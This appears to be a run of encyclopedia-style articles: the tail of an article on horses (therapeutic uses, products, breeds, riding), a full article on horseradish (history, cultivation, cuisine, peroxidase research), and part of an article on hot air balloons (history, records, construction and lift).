          Horses also are used preserve cultural traditions and for ceremonial purposes. Examples include the use of horses at tourist destinations such as Colonial Williamsburg or the presence of cavalry horses at significant funerals of military figures and heads of state. Countries such as the United Kingdom still use horse-drawn carriages to convey royalty and VIPs to and from certain culturally significant events.


          Horses are frequently used in television and motion pictures to add authenticity to historical dramas as well as adding charm to films set in modern-day, or even futuristic science fiction settings.


          


          Assisted learning and therapeutic purposes


          People with disabilities obtain beneficial results from association with horses. The movement of a horse strengthens muscles throughout a rider's body and promotes better overall health. In many cases, riding has also led to increased mobility for the rider. Horses also provide psychological benefits to people whether they actually ride or not. The benefits of equestrian activity for people with disabilities has also been recognized with the addition of equestrian events to the Paralympic Games and recognition of para-equestrian events by the FEI.


          Hippotherapy and therapeutic horseback riding are names for different physical, occupational and speech therapy treatment strategies that utilize equine movement. In the hippotherapy environment, a therapist uses the horse's movement to provide carefully graded sensory input, whereas therapeutic horseback riding uses specific riding skills.


          "Equine-assisted" or "equine-facilitated" psychotherapy uses horses as companion animals to assist people with psychological problems. Actual practices vary widely due to the newness of the field; some programs include Therapeutic Horseback Riding and hippotherapy. Non-riding therapies simply encourage a person to touch, speak to and otherwise interact with the horse. People appear to benefit from being able to be around a horse; horses are very sensitive to non-verbal communication and are an ideal resource for working with individuals who have "tuned out" human therapists.


          Equine Assisted Learning (EAL), Equine guided education, or equine assisted professional development, is another relatively new field of experiential learning for corporate, professional and personal development.


          There also have been experimental programs using horses in prison settings. Exposure to horses appears to improve the behaviour of inmates in a prison setting and help reduce recidivism when they leave. A correctional facility in Nevada has a successful program where inmates learn to train young mustangs captured off the range in order to make it more likely that these horses will find adoptive homes. Both adult and juvenile prisons in New York, Florida, and Kentucky work in cooperation with the Thoroughbred Retirement Foundation to re-train former racehorses as pleasure mounts and find them new homes. Horses are also used in camps and programs for young people with emotional difficulties.


          


          Warfare
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          Horses in warfare have been seen for most of recorded history, dating back at least to the 19th century B.C. While mechanization largely has replaced the horse as a weapon of war, horses are still seen today in limited military uses, mostly for ceremonial purposes, or for reconnaissance and transport activities in areas of rough terrain where motorized vehicles are ineffective. Horses have been used in the 21st century by the Janjaweed militias in the Darfur conflict in attacks against unarmed civilians.


          


          Products


          
            	Horse meat has been used as food for animals and humans throughout the ages. It is eaten in many parts of the world and is an export industry in the United States and other countries. Bills have been introduced in both the House and the Senate which would put an end to this practice in the United States. Horse consumption is taboo in some cultures.

          


          
            	Mare's milk is used by people with large horse-herds, such as the Mongols. They may let it ferment to produce kumis. Mares produce a lower yield of milk than cows, but more than goats and sheep.

          


          
            	Horse blood was also used as food by the Mongols and other nomadic tribes. The Mongols found this food source especially convenient when riding for long periods of time. Drinking their own horse's blood allowed the Mongols to ride for extended periods of time without stopping to eat.

          


          
            	Premarin is a mixture of female hormones ( estrogens) extracted from the urine of pregnant mares (pregnant mares' urine). It is a widely used drug for hormone replacement therapy. This horse product is especially controversial; see the Premarin article.

          


          
            	The tail hair of the horse is used for making bows for stringed instruments such as the violin, viola, cello and double bass.

          


          
            	Horsehide leather has been used for boots, gloves, jackets, baseballs, and baseball gloves. The saba is a horsehide vessel used in the production of kumis. Horsehide can be used to produce animal glue.

          


          
            	Horse hooves can be used to produce hoof glue.

          


          
            	Horse bones can be used to make implements. Specifically, in Italian cuisine, the horse tibia is sharpened into a probe called a spinto, which is used to test the readiness of a (pig) ham as it cures.

          


          


          Specialized vocabulary
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          Because horses and humans have lived and worked together for thousands of years, an extensive specialized vocabulary has arisen to describe virtually every horse behavioural and anatomical characteristic with a high degree of precision.


          The anatomy of the horse comes with a large number of horse specific terms.


          Horses exhibit a diverse array of coat colors and distinctive markings, and a specialized vocabulary has evolved to describe them. Often, one will refer to a horse in the field by its coat colour rather than by breed or by sex. The genetics of the coat colors has largely been resolved, although discussion continues about some of the details.


          The English-speaking world measures the height of horses in hands, abbreviated "h" or "hh," and is measured at the highest point of an animal's withers. One hand is 4 Imperial inches, or, as defined in British law, 101.6 mm. Intermediate heights are defined by hands and inches, rounding to the lower measurement in hands, followed by a decimal point and the number of additional inches between 1 and 3. Thus a horse described as 15.2 hh tall, means it is 15 hands, 2 inches, or 62 inches/1.57 m in height.


          


          The origin of modern breeds


          Horses come in various sizes and shapes. The draft breeds can top 19 hands (2 metres, 76 inches) while the smallest miniature horses stand as low as 5.2 hands (0.56 metres, 22 inches). The Patagonian Fallabella, usually considered the smallest horse in the world, compares in size to a German Shepherd Dog.


          Different schools of thought exist to explain how this range of size and shape came about. One school, which some refer to as the "Four Foundations", (see Domestication of the horse and surviving wild species, above), suggests that the modern horse evolved from multiple types of early wild pony and horse prototypes; the differences between these types account for the differences in type of the modern breeds. A second school - the "Single Foundation" - holds only one type of wild horse underwent domestication, and it diverged in form after domestication through human selective breeding (or in the case of feral horses, through ecological pressures). This question will most likely only be resolved once geneticists have finished evaluating the horse genome, analyzing DNA and mitochondrial DNA to construct family trees. See: Domestication of the horse.


          In either case, modern horse breeds developed in response to the need for "form to function"; that is, the necessity to develop certain physical characteristics necessary to perform a certain type of work. Thus, light, refined horses such as the Arabian horse or the Akhal-Teke developed in dry climates to be fast and with great endurance over long distances, while heavy draft horse such as the Belgian developed out of a need to pull plows and perform other farm work. Ponies of all breeds developed out of a dual need to create mounts suitable for children as well as for work in small places like mine shafts or in areas where there was insufficient forage to support larger draft animals. In between these extremes, horses were bred to be particularly suitable for tasks that included pulling carriages, carrying heavily-armored knights, jumping, racing, herding other animals, and packing supplies.


          Some countries specialize in breeding horses suitable for particular activities. For example, Australia, the United States, and the Patagonia region of South America are known for breeding horses particularly suitable for working cattle and other livestock. Germany produces many Warmblood breeds that are used for dressage. Ireland is recognized for breeding hunters and jumpers. Spain and Portugal are known for the Iberian horse breeds used in high school dressage and bullfighting. Austria is known worldwide for its Lipizzaner horses, used for dressage and high school work in the famous Spanish Riding School in Vienna. The United Kingdom breeds an array of heavy draft horses and several breeds of hardy ponies. Both the United States and Great Britain are noted for breeding Thoroughbred race horses. Russia takes great pride in breeding harness racing horses, a tradition dating back to the development of the Orlov Trotter in the 18th century.


          


          Breeds, studbooks, purebreds, and landraces


          


          Selective breeding of horses has occurred as long as humans have domesticated them. However, the concept of controlled breed registries has gained much wider importance during the 20th century. One of the earliest formal registries was General Stud Book for thoroughbreds, a process that started in 1791 tracing back to the foundation sires for that breed. These sires were Arabians, brought to England from the Middle East.


          The Arabs had a reputation for breeding their prize Arabian mares to only the most worthy stallions, and kept extensive pedigrees of their " asil" (purebred) horses. Though these pedigrees were primarily transmitted via an oral tradition, written pedigrees of Arabian horses can be found that date to the 14th century. During the late Middle Ages the Carthusian monks of southern Spain, themselves forbidden to ride, bred horses which nobles throughout Europe prized; the lineage survives to this day in the Andalusian horse or caballo de pura raza espanol.


          The modern landscape of breed designation presents a complicated picture. Some breeds have closed studbooks; a registered Thoroughbred, Arabian, or Quarter Horse must have two registered parents of the same breed, and no other criteria for registration apply. Other breeds tolerate limited infusions from other breeds; for example, the modern Appaloosa must have at least one Appaloosa parent but may also have a Quarter Horse, Thoroughbred, or Arabian parent and must also exhibit spotted coloration to gain full registration. Still other breeds, such as most of the warmblood sport horses, require individual judging of an individual animal's quality before registration or breeding approval, but also allow outside bloodlines in if the horses meet the standard.


          Breed registries also differ as to their acceptance or rejection of breeding technology. For example, all Jockey Club Thoroughbred registries require that a registered Thoroughbred be a product of a natural mating (live cover in horse parlance). A foal born of two Thoroughbred parents, but by means of artificial insemination or embryo transfer is barred from the Thoroughbred studbook. Any Thoroughbred bred outside of these constraints can, however, become part of the Performance Horse Registry.


          On the other hand, since the advent of DNA testing to verify parentage, most breed registries now allow artificial insemination (AI), embryo transfer (ET), or both. The high value of stallions has helped with the acceptance of these techniques because they 1) allow a stallion to breed more mares with each "collection," and 2) take away the risk of injury during mating.


          


          Hot bloods, warm bloods, and cold bloods


          Horses are mammals and as such are all warm-blooded creatures, as opposed to reptiles, which are cold-blooded. However, these words have developed a separate meaning in the context of equine description, with the "hot-bloods", such as race horses, exhibiting more sensitivity and energy, while the "cold-bloods" are heavier, calmer creatures such as the draft giants.


          


          Hot bloods


          Arabian horses, whether originating on the Arabian peninsula or from the European studs (breeding establishments) of the 18th and 19th centuries, gained the title of "hot bloods" for their temperament, characterized by sensitivity, keen awareness, athleticism, and energy. European breeders wished to infuse some of this energy and athleticism into their own best cavalry horses. These traits, combined with the lighter, aesthetically refined bone structure of the oriental-type horse ( Akhal-Teke, Arabian, Barb), were used as the foundation of the thoroughbred breed.


          True hot bloods usually offer both greater riding challenges and rewards than other horses. Their sensitivity and intelligence enable quick learning with greater communication and cooperation with their riders. However, their intelligence also allows them to learn bad habits as quickly as good ones. Because of this, they also can quickly lose trust in a poor rider and do not tolerate inept or abusive training practices.


          


          Cold bloods
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          Muscular and heavy draft horses are known as "cold bloods", as they have been bred to have the calm, steady, patient temperament needed to pull a plow or a heavy carriage full of people. One of the best-known draft breeds is the Belgian. The largest is the Shire. The Clydesdales, with their common coloration of a bay or black coat with white legs and long-haired, "feathered" fetlocks are among the most easily recognized.


          


          Warmbloods


          " Warmblood" breeds began when the European carriage and war horses were crossed with oriental horses or thoroughbreds. The term " warm blood" was originally used to mean any cross of heavy horses on Thoroughbred or Arabian horses. Examples included breeds such as the Irish Draught horse, and sometimes also referred to the "Baroque" horses used for "high school" dressage, such as the Lipizzaner, Andalusian, Lusitano and the Alter Real. Sometimes the term was even used to refer to breeds of light riding horse other than Thoroughbreds or Arabians, such as the Morgan horse. But today the term "warmblood" usually refers to a group of sport horse breeds that have dominated the Olympic Games and World Equestrian Games in Dressage and Show Jumping since the 1950s. These breeds include the Hanoverian, Oldenburg, Trakehner, Holsteiner, Swedish Warmblood, and Dutch Warmblood.


          The list of horse breeds provides a partial alphabetical list of breeds of horse extant today, plus a discussion of rare breeds' conservation.


          


          Riding methods


          


          Saddling and mounting


          The common European practice and tradition of saddling and mounting the horse from the left hand side is widely believed to originate from the practice of right-handed fighters carrying their sheathed sword on their left hip, making it easier to throw their right leg over the horse when mounting. However, several other explanations are equally also plausible.


          Horses can be mounted bareback with a vault from the ground, by grabbing the mane to provide leverage as a rider makes a small jump and scrambles up onto the horse's back (an awkward but popular method used by children), or by "bellying over", a technique which involves placing both hands side by side on the horse's back, jumping up so that the rider lays belly down on the horse's back, and swinging the leg over to sit astride. In actual practice, however, most bareback riders use a fence, mounting block, or other object which can be stood upon to be able to simply slide onto the horse's back. This method is more convenient for both horse and rider, as the horse is more comfortable not being accidentally jabbed by the legs and arms of the rider, and any method of mounting without a saddle can be difficult for the rider, especially if the horse is tall.


          


          Control of the horse


          Riders communicate with the horse through commands called aids. The main natural aids of the rider are the legs, the seat, the hands (through the reins) and the voice (used less often than other aids). The rider's legs generally tell the horse to move forward or to turn. The hands help to guide the horse in the direction of the turn, and ask the horse to either slow his tempo or to slow from a faster gait to a slower one. The seat is the most difficult aid to develop, and can communicate to the horse not only to speed up, but also to turn and slow down.


          Correct position allows for the rider to communicate effectively without getting in the way of the horse. Additionally, the position is slightly modified according to the type of riding that is being preformed. Like most arts, riding takes years of practice to become competent, as the riders work to refine their aids and position, and learn "feel" (or what the horse is doing underneath them).


          


          Types of riding


          Since the horse was domesticated, a wide variety of riding methods or styles have developed, all of which balance the need to allow the horse freedom of movement in activities such as horse racing or show jumping and the need for security of the rider, precision of commands and overall control as seen in activities such as dressage and reining. Worldwide, the most common modern riding style is referred to as English riding, which is a broad style that encompasses most Olympic Equestrian competition, and includes such specific styles as dressage, hunt seat, show jumping and saddle seat, among many others. Western riding is a popular style seen in North America, derived from the traditions of Spain, modified to fit the needs of cattle ranchers. A similar riding style is seen with the Stockman of Australia.
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          Horseradish (Armoracia rusticana, syn. Cochlearia armoracia) is a perennial plant of the Brassicaceae family, which includes mustard, wasabi, and cabbages. The plant is probably native to southeastern Europe and western Asia, but is popular around the world today. It grows up to 1.5 metres (five feet) tall and is mainly cultivated for its large white, tapered root.


          The horseradish root itself has hardly any aroma. When cut or grated, however, enzymes from the damaged plant cells break down sinigrin (a glucosinolate) to produce allyl isothiocyanate ( mustard oil), which irritates the sinuses and eyes. Once grated, if not used immediately or mixed in vinegar, the root darkens and loses its pungency and becomes unpleasantly bitter when exposed to air and heat.


          


          History


          Horseradish was cultivated in antiquity. According to Greek mythology, the Delphic Oracle told Apollo that the horseradish was worth its weight in gold. Horseradish was known in Egypt in 1500 BC and has traditionally been used by Jews in Passover Seders. Cato discusses the plant in his treatises on agriculture, and a mural in Pompeii showing the plant has survived until today. Horseradish is probably the plant mentioned by Pliny the Elder in his Natural History under the name of Amoracia, and recommended by him for its medicinal qualities, and possibly the Wild Radish, or raphanos agrios of the Greeks.


          Both root and leaves were used as a medicine during the Middle Ages and the root was used as a condiment on meats in Germany, Scandinavia, and Britain. It was brought to North America during Colonial times.


          William Turner mentions horseradish as Red Cole in his "Herbal" ( 1551- 1568), but not as a condiment. In "The Herball, or Generall Historie of Plantes" ( 1597), John Gerard describes it under the name of raphanus rusticanus, stating that it occurs wild in several parts of England. After referring to its medicinal uses, he says: "the Horse Radish stamped with a little vinegar put thereto, is commonly used among the Germans for sauce to eate fish with and such like meates as we do mustarde."


          


          Cultivation


          Horseradish is perennial in hardiness zones 5 - 9 and can be grown as an annual in other zones, though not as successfully as in zones with both a long growing season and winter temperatures cold enough to ensure plant dormancy. After the first frost in the autumn kills the leaves, the root is dug and divided. The main root is harvested and one or more large offshoots of the main root are replanted to produce next year's crop. Horseradish left undisturbed in the garden spreads via underground shoots and can become invasive. Older roots left in the ground become woody, after which they are no longer culinarily useful, although older plants can be dug and redivided to start new plants.


          


          Pests and Diseases


          Imported cabbageworms ( Artogeia rapae) are a common caterpillar pest in horseradish. The adults are white butterflies with black spots on the forewings that are commonly seen flying around plants during the day. The caterpillars are velvety green with faint yellow stripes running lengthwise down the back and sides. Full grown caterpillars are about 1 inch in length. They move sluggishly when prodded. They overwinter in green pupal cases. Adults start appearing in gardens after the last frost and are a problem through the remainder of the growing season. There are 3 to 5 overlapping generations a year. Mature caterpillars chew large, ragged holes in the leaves leaving the large veins intact. Handpicking is an effective control strategy.


          


          Commercial Production


          Collinsville, Illinois is the self-proclaimed "Horseradish Capital of the World" and hosts an annual International Horseradish Festival each June. Collinsville produces 60% and the surrounding area of Southwestern Illinois 85% of the world's commercially grown horseradish. Other major US growing regions include Wisconsin and Northern California.


          


          Culinary uses


          Cooks use the terms 'horseradish' or 'prepared horseradish' to refer to the grated root of the horseradish plant mixed with vinegar. Prepared horseradish is white to creamy-beige in colour. It will keep for months refrigerated but eventually will start to darken, indicating it is losing flavor and should be replaced. The leaves of the plant, which while edible aren't commonly eaten, are referred to as 'horseradish greens.' Although technically a vegetable, horseradish is generally treated as a condiment or ingredient.


          In the USA, prepared horseradish is commonly used as an ingredient in Bloody Mary cocktails, in cocktail sauce, as a sauce or spread on meat, chicken, and fish, and in sandwiches. The American fast-food restaurant chain Arby's uses horseradish in its "Horsey Sauce", which is provided as a regular condiment, alongside ketchup, mustard, and mayonnaise. This is not a common practice at its major competitors.


          There are several manufacturers of prepared horseradish in the United States. The largest is Gold's Horseradish in New York which sells about 2.5 million jars each year. The company was founded during the 1930s by Hyman and Tillie Gold and later expanded by their three sons Morris, Manny & Herbert.


          Horseradish sauce made from grated horseradish root and cream is a popular condiment in the United Kingdom. It is often served with roast beef, but can be used in a number of other dishes also.


          Additionally, since real wasabi is very expensive, even in Japan, most Japanese restaurants around the world actually serve a horseradish mixture that has been dyed green. In fact, the Japanese botanical name for horseradish is seiyōwasabi (セイヨウワサビ, 西洋山葵, seiyōwasabi?), or "Western wasabi".


          The enzyme horseradish peroxidase, found in the plant, is used extensively in molecular biology in antibody amplification and detection, among other things.


          

          Horseradish sauce made from prepared horseradish and cream is a popular condiment in the United Kingdom. It is often served with roast beef, but can be used in a number of other dishes also.


          In Eastern European Jewish cusine a sweetened horseradish-vinegar sauce called chrain in Yiddish traditionally accompanies gefilte fish. There are two varieties of chrain. "Red" chrain is mixed with red beet and "white" chrain contains no beet. It is also popular in Poland (under the name of chrzan), in Hungary (torma) and in Romania (hrean). Having this on the Easter table is a part of Easter tradition in Eastern Europe. A variety with red beet also exists and it is called ćwikła z chrzanem or simply ćwikła in Poland. Horseradish (often grated and mixed with cream, hardboiled eggs, or apples) is also a traditional Easter dish in Slovenia.


          Horseradish dyed green is often substituted for the more expensive wasabi traditionally served with sushi, even in Japan. The Japanese botanical name for horseradish is seiyōwasabi (セイヨウワサビ, 西洋山葵, seiyōwasabi ?), or "Western wasabi".


          Horseradish contains 2 glucosinolates ( sinigrin and gluconasturtiin) which are responsible for its pungent taste.


          


          Nutritional value


          Horseradish contains potassium, calcium, magnesium and phosphorus, as well as volatile oils, such as mustard oil, which is an antibiotic. Fresh, the plant contains average 79.31 mg of vitamin C per 100 g of raw horseradish .


          


          Research applications


          The enzyme horseradish peroxidase, found in the plant, is increasingly important in biochemical research fields.


          Horseradish peroxidase (HRP) is commonly used for specifically coloring of thin (~5 micrometer) slices of tissue biopsies from patients suspected to have cancer. This is an area of human pathology called imuno histochemistry (IHC). Many molecules of HRP are bound to a polymer together with immunoglobulins that will bind to a primary imunoglobulin that recognizes a specific biomarker in cells in the tissue slices. The HRP will convert 3,3-diaminobenzidin (DAB) to a yellowish brown insoluble compound. This compound is visible in a microscope and helps the pathologist to diagnose the cancer. For more information see Histochemistry. Horseradish peroxidase has been employed in materials used to test for the presence of glucose in blood or urine.


          


          Medicinal applications


          Known to have diuretic properties, the roots have been used to treat various minor health problems, including urinary tract infections, bronchitis, sinus congestion, and coughs. Compounds found in horseradish have been found to kill some bacterial strains.


          
            
              	
                
                  
                    	
                      
Herbs and spices
                    
                  


                  
                    	
                  


                  
                    	Herbs

                    	
                      
                        Angelica Basil Basil, holy  Basil, Thai  Bay leaf  Boldo Bolivian Coriander Borage Cannabis Chervil Chives Cicely Coriander leaf (cilantro)  Cress Curry leaf  Dill Elsholtzia ciliata Epazote Eryngium foetidum (long coriander)  Hoja santa  Houttuynia cordata (giấp c)  Hyssop Lavender Lemon balm  Lemon grass  Lemon verbena  Limnophila aromatica (rice paddy herb)  Lovage Marjoram Mint Mitsuba Oregano Parsley Perilla (shiso)  Rosemary Rue Sage Savory Sorrel Stevia Tarragon Thyme Vietnamese coriander (rau răm)  Woodruff
                      

                    
                  


                  
                    	
                  


                  
                    	Spices

                    	
                      
                        Ajwain (bishop's weed)  Aleppo pepper  Allspice Amchur (mango powder)  Anise Aromatic ginger  Asafoetida Camphor Caraway Cardamom Cardamom, black  Cassia Cayenne pepper  Celery seed  Chili Cinnamon Clove Coriander seed  Cubeb Cumin Cumin, black  Dill seed  Fennel Fenugreek Fingerroot (krachai)  Galangal, greater  Galangal, lesser  Garlic Ginger Grains of Paradise  Grains of Selim  Horseradish Juniper berry  Liquorice Mace Mahlab Malabathrum (tejpat)  Mustard, black  Mustard, brown  Mustard, white  Nigella (kalonji)  Nutmeg Paprika Pepper, black  Pepper, green  Pepper, long  Pepper, pink, Brazilian  Pepper, pink, Peruvian  Pepper, white  Pomegranate seed (anardana)  Poppy seed  Saffron Sarsaparilla Sassafras Sesame Sichuan pepper (huājiāo, sansho)  Star anise  Sumac Tasmanian pepper  Tamarind Tonka bean Turmeric Vanilla Wasabi Zedoary
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          The hot air balloon is the oldest successful human-carrying flight technology, dating back to its invention by the Montgolfier brothers in Annonay, France in 1783. The first flight carrying humans was made on November 21, 1783, in Paris by Jean-Franois Piltre de Rozier and Franois Laurent d'Arlandes.


          Hot air balloons that can be propelled through the air rather than just being pushed along by the wind are known as airships or, more commonly, thermal airships.


          A hot air balloon consists of a bag called the envelope that is capable of containing heated air. Suspended beneath is the gondola or wicker basket (in some long-distance or high-altitude balloons, a capsule) which carries the passengers and a source of heat. The heated air inside the envelope makes it buoyant since it has a lower density than the relatively cold air outside the envelope. Unlike gas balloons, the envelope does not have to be sealed at the bottom since the rising hot air only exerts pressure on the upper hemisphere of the balloon to provide lift. In today's sport balloons the envelope is generally made from nylon fabric and the mouth of the balloon (closest to the burner flame) is made from fire resistant material such as Nomex.


          Recently, balloon envelopes have been made in fantastic shapes, such as hot dogs, rocket ships, and the shapes of commercial products.


          


          History


          


          Premodern Balloon
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              A Kongming lantern, the oldest type of hot air balloon.
            

          


          Unmanned hot air balloons are popular in Chinese history. Zhuge Liang of the Shu Han kingdom, in the Three Kingdoms era, used airborne lanterns for military signaling. These lanterns are known as Kongming lanterns (孔明灯).


          There is also some speculation that hot air balloons were used by the Nazca Indians of Peru some 1500 years ago as a tool for designing vast drawings on the Nazca plain.


          A method of making objects float in the air on their own accord by means of hot air is discussed by the 11th century C.E. jewish scholar Rashi in his commentary on the bible "Even were you to fill an eggshell membrane with dew and close up its opening and place it in the sun, it will, on its own, rise into the air"


          


          First recorded manned balloon flight
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              This 1818 technical illustration shows early balloon designs.
            

          


          The first clearly recorded instances of balloons capable of carrying passengers used hot air to obtain buoyancy and were built by the brothers Joseph-Michel and Jacques-Etienne Montgolfier in Annonay, France. These brothers came from a family of paper manufacturers and had noticed the ash rising in fires. After experimenting with unmanned balloons and flights with animals, the first balloon flight with humans on board took place on October 19, 1783 with the scientist Jean-Franois Piltre de Rozier, the manufacture manager, Jean-Baptiste Rveillon and Giroud de Villette, at the Folie Titon in Paris. Officially, the first flight was 1 month later, 21 November 1783. King Louis XVI had originally decreed that condemned criminals would be the first pilots, but a young physicist named Jean-Franois Piltre de Rozier and the Marquis Francois d'Arlandes successfully petitioned for the honour. The first hot air balloons were basically cloth bags (sometimes lined with paper) with a smoky fire built on a grill attached to the bottom. They had a tendency to catch fire and be destroyed upon landing, although this was infrequent.


          


          Military use
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          The first military use of aircraft in Europe took place during the French Revolutionary Wars, when the French used a tethered hydrogen balloon to observe the movements of the Austrian army during the Battle of Fleurus (1794). Hot air balloons were employed during the American Civil War. Though the military balloons used by the Union Army Balloon Corps under the command of Prof. Thaddeus S. C. Lowe were limp silk envelopes inflated with coke gas (town gas) or hydrogen.


          The first modern day hot air balloon to be built in the United Kingdom (UK) was the Bristol Belle in 1967.


          


          Today


          Today, hot air balloons are used primarily for recreation. There are some 7,500 hot air balloons operating in the United States.


          Hot air balloons are able to fly to extremely high altitudes. On November 26, 2005, Vijaypat Singhania set the world altitude record for highest hot air balloon flight, reaching 21,290 metres (69,849 feet). He took off from downtown Bombay, India and landed 240 kilometres (149 miles) south in Panchale. The previous record of 19,811m (64,997ft) had been set by Per Lindstrand on June 6, 1988 in Plano, Texas. As with all registered aircraft, oxygen is needed for all crew and passengers for any flight that reaches and exceeds an altitude of 12,500ft (3,810m).
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              The Virgin Pacific Flyer capsule on a frozen lake in the Canadian tundra after the first and only crossing of the Pacific in a hot air balloon. Most of the giant jettisonable propane fuel tanks are no longer attached. One still hangs in front of the two-man sealed pressurized capsule. The flight holds the distance record for a hot air balloon.
            

          


          The farthest that a hot air balloon has ever been flown is 7,671.91km (4,767.1mi). On January 15, 1991, the Virgin Pacific Flyer balloon completed the longest flight in a hot air balloon when Per Lindstrand (born in Sweden, but resident in the UK) and Richard Branson of the UK flew from Japan to Northern Canada.


          With a volume of 74,000 cubic metres (2,600,000 cubic feet), the balloon envelope was the largest ever built for a hot air craft. Designed to fly in the trans-oceanic jet streams the Pacific Flyer recorded the highest ground speed for a manned balloon at 245miles per hour (394km/h).


          The longest duration hot air balloon flight ever made is 50 hours and 38 minutes made by Michio Kanda and Hirosuke Tekezawa of Japan on January 2, 1997.


          


          Construction


          A hot air balloon for manned flight uses a single-layered, fabric gas bag (lifting "envelope"), with an opening at the bottom called the mouth or throat. Attached to the envelope is a basket, or gondola, for carrying the passengers. The basket is usually made of wicker and rattan, but can be made of aluminium. Mounted above the basket and centered in the mouth is the "burner" which injects a flame into the envelope, heating the air within. The heater or burner is fueled by propane, a liquefied gas stored in pressure vessels, similar to high pressure forklift cylinders.


          


          Envelope


          Modern hot air balloons are usually made of light-weight and strong synthetic fabrics such as ripstop nylon, or dacron (a polyester).


          During the manufacturing process, the material is cut into panels and sewn together, along with structural load tapes (webbing) that carry the weight of the gondola or basket. Vertical rows of triangular panels that are referred to as gores. Envelopes can have as few as 4 gores or as many as 24 or more.


          Envelopes often have a crown ring at their very top. This is a hoop of smooth metal, usually aluminium and approximately 1ft (0.3m) in diameter, to which vertical load tapes attach.


          


          Fabric coatings


          The fabric (or at least part of it, the top 1/3 for example) may be coated with a sealer, such as silicone or polyurethane, to make it impermeable to air. It is often the degradation of this coating and the corresponding loss of impermiability that ends the effective life of an envelope, not weakening of the fabric itself. Heat, moisture, and mechanical wear-and-tear during set up and pack up are the primary causes of degradation. Once an envelope becomes too porous to fly, it may be retired and used as a 'rag bag': cold inflated and opened for children to run through. Products for recoating the fabric are becoming commercially available.


          


          Envelope sizes


          A range of envelope sizes is available. The smallest, one-person, basket-less balloons (called " Hoppers" or "Cloudhoppers") have less than 1,000 m (35,000 ft) of envelope volume (for a perfect sphere this would mean a radius of around 13.3m (43.6ft)). At the other end of the scale are the balloons used by large commercial sightseeing operations that carry well over two dozen people and have envelope volumes of up to 15,000 m (600,000 ft). However, most balloons are roughly 2,500 m (100,000 ft) and carry 3 to sometimes 4 people.


          


          Vents


          The top of the balloon usually has a vent of some sort. The most common type of vent is a disk-shaped flap of fabric called a parachute vent. The fabric is connected around its edge to a set of "vent lines" that converge in the centre. (The arrangement of fabric and lines looks roughly like a parachute -- thus the name.) These "vent lines" are themselves connected to a control line that runs to the basket. A parachute vent is opened by pulling on the control line. Once the control line is released, the pressure of the remaining hot air pushes the vent fabric back into place. A parachute vent can be opened briefly while in flight to initiate a rapid descent. (Slower descents are initiated by allowing the air in the balloon to cool naturally.) The vent is pulled completely open to collapse the balloon after landing.


          An older, and today less commonly used, style of vent is called a " Velcro-style" vent. This too is a disk of fabric at the top of the balloon. However, rather than having a set of "vent lines" that can repeatedly open and close the vent, the vent is secured by "hook and loop" fasteners (such as Velcro) and is only opened at the end of the flight. Balloons equipped with a "Velcro-style" vent typically have a second "maneuvering vent" built into the side (as opposed to the top) of the balloon.


          Some hot air balloons have turning vents which are side vents which, when opened, cause the balloon to rotate. Such vents are particularly useful for balloons with rectangular baskets in order to align the wider side of the basket for landing.


          


          Burner


          
            [image: A hot air balloon is partially inflated with cold air from a petrol-driven fan, before the propane burners are used for final inflation.]

            
              A hot air balloon is partially inflated with cold air from a petrol-driven fan, before the propane burners are used for final inflation.
            

          


          The burner unit gasifies liquid propane, mixes it with air, ignites the mixture, and directs the flame and exhaust into the mouth of the envelope. The unit may consist of one or more individual burners of which the pilot may use one or more at a time to generate the desired heat. Each burner is characterized by a metal coil of propane tubing through which the flame shoots in order to preheat the incoming liquid propane.


          The burner unit may be suspended from the mouth of the envelope, or rigidly supported over the basket. The burner unit may be mounted on a gimbal to enable the pilot to aim the flame and avoid overheating the envelope fabric.


          The pilot actuates a burner by opening a propane valve, called a blast valve. The valve may be spring loaded so that it closes automatically, or it may stay open until closed by the pilot. The burner has a pilot light to ignite the propane and air mixture. The pilot light may be lit by the pilot with an external device, such as a flint striker or a lighter, or with a built-in piezo electric spark.


          A burner may have a secondary propane valve that releases propane more slowly and thereby generates a different sound. This is called a whisper burner and is used for flight over livestock to lessen the chance of spooking them. It also generates a more yellow flame and is used for night glows because it lights up the inside of the envelope better than the primary valve.


          Burners can generate heat on the order of 30 million BTUs (31,651,677 kilojoule).


          


          Fuel tanks


          Propane fuel tanks are usually cylindrical pressure vessels made from aluminium, stainless steel, or titanium with a valve at one end to feed the burner and to refuel. They may have a fuel gauge and a pressure gauge. Common tank sizes are 10 (38), 15 (57), and 20 (76) US gallons ( litres).


          The pressure necessary to force the fuel through the line to the burner may be supplied by the vapor pressure of the propane itself, if warm enough, or by the introduction of an inert gas such as nitrogen. Tanks may be preheated with electrical heat tapes to produce sufficient vapor pressure for cold weather flying. Warmed tanks will usually also be wrapped in an insulating blanket to preserve heat during the setup and flight.


          


          Instrumentation


          A balloon may be outfitted with a variety of instruments to aid the pilot. These commonly include an altimeter, a rate of climb (vertical speed) indicator, envelope (air) temperature, and ambient (air) temperature. A GPS receiver can be useful to indicate ground speed (traditional aircraft air speed indicators would be useless) and direction.


          


          Combined mass


          The combined mass of an average system can be calculated as follows


          
            	the envelope: 250lb, 113kg


            	basket: 140lb, 63.5kg


            	burner: 50lb, 22.7kg


            	3 fuel tanks with fuel: 3  135lb = 405lb, 184kg


            	5 passengers: 5  150lb each = 750lb, 340kg


            	the air in the envelope (100,000ft at 0.062lb/ft = 3.1tons, 2,812kg) - but at 120C, the density of dry air is 0.898kg/m which is 0.056lb/ft, giving a weight of 2,551 kg

          


          For a total of 3,538kg or about 3.9tons (or 3,227 kg with the adjustment above)


          


          Theory of operation


          


          Generating lift


          
            [image: A pair of Hopper balloons.]

            
              A pair of Hopper balloons.
            

          


          Raising the air temperature inside the envelope makes it lighter than the surrounding (ambient) air. This causes the balloon and its payload to rise. The amount of lift (or buoyancy) provided by a hot air balloon depends primarily upon the difference between the temperature of the air inside the envelope and the temperature of the air outside the envelope. For most envelopes made of nylon fabric, the maximum internal temperature is limited to approximately 120 C (250 F). It should be noted that the melting point of nylon is significantly higher than these maximum operating temperature  about 230 C (450 F). However the lower temperatures are generally used because the higher the temperature, the more quickly the strength of the nylon fabric degrades over time. With a maximum operating temperature of 120 C (250 F), balloon envelopes can generally be flown for between 400 and 500 hours before the fabric needs to be replaced. Many balloon pilots operate their envelopes at temperatures significantly below the maximum in order to extend the longevity of their envelope fabric.


          
            [image: A Virgin hot air balloon flying over Cambridge.]

            
              A Virgin hot air balloon flying over Cambridge.
            

          


